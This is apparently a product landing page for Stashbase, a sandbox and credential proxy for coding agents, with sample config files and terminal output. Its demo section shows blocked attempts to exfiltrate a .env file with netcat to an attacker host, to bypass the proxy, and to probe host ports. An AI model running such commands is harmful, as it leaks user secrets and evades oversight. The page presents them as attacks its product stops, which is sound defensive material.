Run coding agentswithout the babysitting

Sandbox them on your laptop, in Docker or on your own server. Set rules once for files, APIs and MCP. Your agent uses your credentials without ever seeing them.

Start for freeS

Try it locally

Works with Claude Code and Codex.Open-source CLI. Set up in minutes.

agent session · sandboxed

audit · 0 injected · 0 allowed · 0 blocked

Audit log

0 injected · 0 allowed · 0 blocked

$curl -fsSL https://stashbase.dev/cli/install.sh | bash

Free forever: sandboxing, proxy access, and unlimited profiles.

See how it works

Give agents access, not your credentials

Let coding agents use the APIs, tools, and credentials they need, without ever seeing the raw secrets.

A profile is the policy

Let it call your real APIs

GitHub, Stripe, Linear: the agent gets a placeholder, and the proxy adds the real key only for hosts you approve.

Let it run without babysitting

Approve less. The sandbox blocks everything outside your rules, and the agent can’t switch it off.

Let it work in your actual project

Full access to your code and packages, while .env files, keys, and certificates stay unreadable. Registries never see a credential.

Catch what the agent gets wrong

Packages with known vulnerabilities are stopped before they install, and commits are scanned for hardcoded secrets.

Review it like code

Profiles live in your repo, so changes to agent access get reviewed like any other code.

See what it did

A local log of every request, allowed or blocked. Metadata only, never values. Allow a blocked host in one command.

Agent

Sandbox

Profile

Block .env so the agent can’t read your local secrets.

On your phone? Copy the steps now and run them later on macOS or Linux.

1. Install the CLI

curl -fsSL https://stashbase.dev/cli/install.sh | bash

2. Run stashbase agent init local, then paste into .stashbase/agents/local.toml

egress_hosts = [
  "api.anthropic.com",
  "platform.claude.com",
]

[filesystem]
deny_read = [".env"]
deny_write = [".env"]

3. Run your agent

stashbase agent run --profile local -- claude

The agent cannot read the .env file in your project.

.stashbase/agents/codex.toml

[personal_credentials.LINEAR_API_KEY]
env = "LINEAR_API_KEY"

[[personal_credentials.LINEAR_API_KEY.rules]]
effect = "allow"
hosts = ["mcp.linear.app"]
methods = ["GET", "POST"]
paths = ["/mcp"]

[mcp_servers.linear]
url = "https://mcp.linear.app/mcp"
binding = "LINEAR_API_KEY"
allow_tools = ["*"]
deny_tools = ["delete_issue"]

Let it use MCP tools, minus the dangerous ones.

Credentials stay at the boundary

Bindings inject authentication without exposing its value.

Allowed tools are visible

Unauthorized tools are filtered from the server’s tool list.

Denied tools cannot run

Calls outside policy are rejected before they reach the server.

Choose the right boundary

Use the same profile with either proxy. Your agent runs on your machine in both cases; only the place where credentials are injected changes.

One profile · two boundaries

Local proxy · Free

Proxy on your machine

The proxy on your machine adds credentials to allowed requests. Use secrets from a local file or a Stashbase project.

Remote proxy · Pro & Scale

Proxy on Stashbase infrastructure

Your machine never holds the secret, so a compromised laptop has nothing to steal. See and revoke every session.

Say yes to more agent runs

With Docker, the agent reaches the network only through Stashbase, so your rules hold even when you stop watching.

Inside the sandbox

$ cat .env
cat: .env: Permission denied
# denied by the profile

$ env -u HTTPS_PROXY curl https://example.com
curl: (7) Failed to connect
# can't skip the proxy: blocked by the firewall

$ nc attacker.example 4444 < .env
# blocked: only HTTP(S) through the proxy is allowed

$ nc -z host.docker.internal 5432
# blocked: no route to the host or private networks

$ curl -u "$STRIPE_SECRET_KEY:" \
    https://api.stripe.com/v1/charges
# 200 OK: allowed, real key injected by the proxy

A firewall, not just env vars

Each sandbox has its own firewall with no direct route to the internet, your host, or private networks. The only way out is the Stashbase proxy.

$ env -u HTTPS_PROXY curl … → blocked

Rules the agent can’t touch

The firewall sits outside the agent’s reach, so even a compromised agent can’t switch it off.

disable firewall → permission denied

Two backends, same profile

An OS-level sandbox by default, with nothing extra to install. Or switch to Docker for container isolation, where the agent sees only your project.

backend = "native" | "docker"

Bring your own image

Use the default image with Claude Code and Codex preinstalled, or bring your own. Custom images add tools, never privileges.

dockerfile = "./sandbox.Dockerfile"

Try it locally in 2 minutes See how the sandbox works

Run agents on a server, not your laptop

Run your agents on a server you reach over SSH, with the same profiles, sandbox and proxy.

From your laptop

$ stashbase ssh install mybox
# a host from ~/.ssh/config, or user@host

$ stashbase ssh setup mybox
# sign in on the server, then check the key and Docker

$ stashbase ssh open mybox
# attached to the server's stashbase tmux session

mybox $ stashbase agent run --profile coding -- claude

Keeps running when you leave

Agents run in a tmux session on the server and keep going when you close your laptop. Reattach from anywhere, even your phone.

detach → agents keep running

Your laptop’s key stays put

The server gets its own key, which you can revoke anytime. The key on your laptop is never copied.

one machine, one key

Your own SSH, nothing new

Stashbase uses the ssh you already have, with your config, keys, and jump hosts.

stashbase ssh install user@host

Dev servers on localhost

Forward a port so the app the agent is working on opens on your laptop.

stashbase ssh open mybox --port 3000

Works with x86_64 Linux servers and Apple Silicon Macs. Use one machine per developer.

See how remote machines work

For teams: share access, not secrets

Give teammates and agents the access they need without sending secrets around. Everyone keeps their own credentials, and each agent profile picks only what it needs.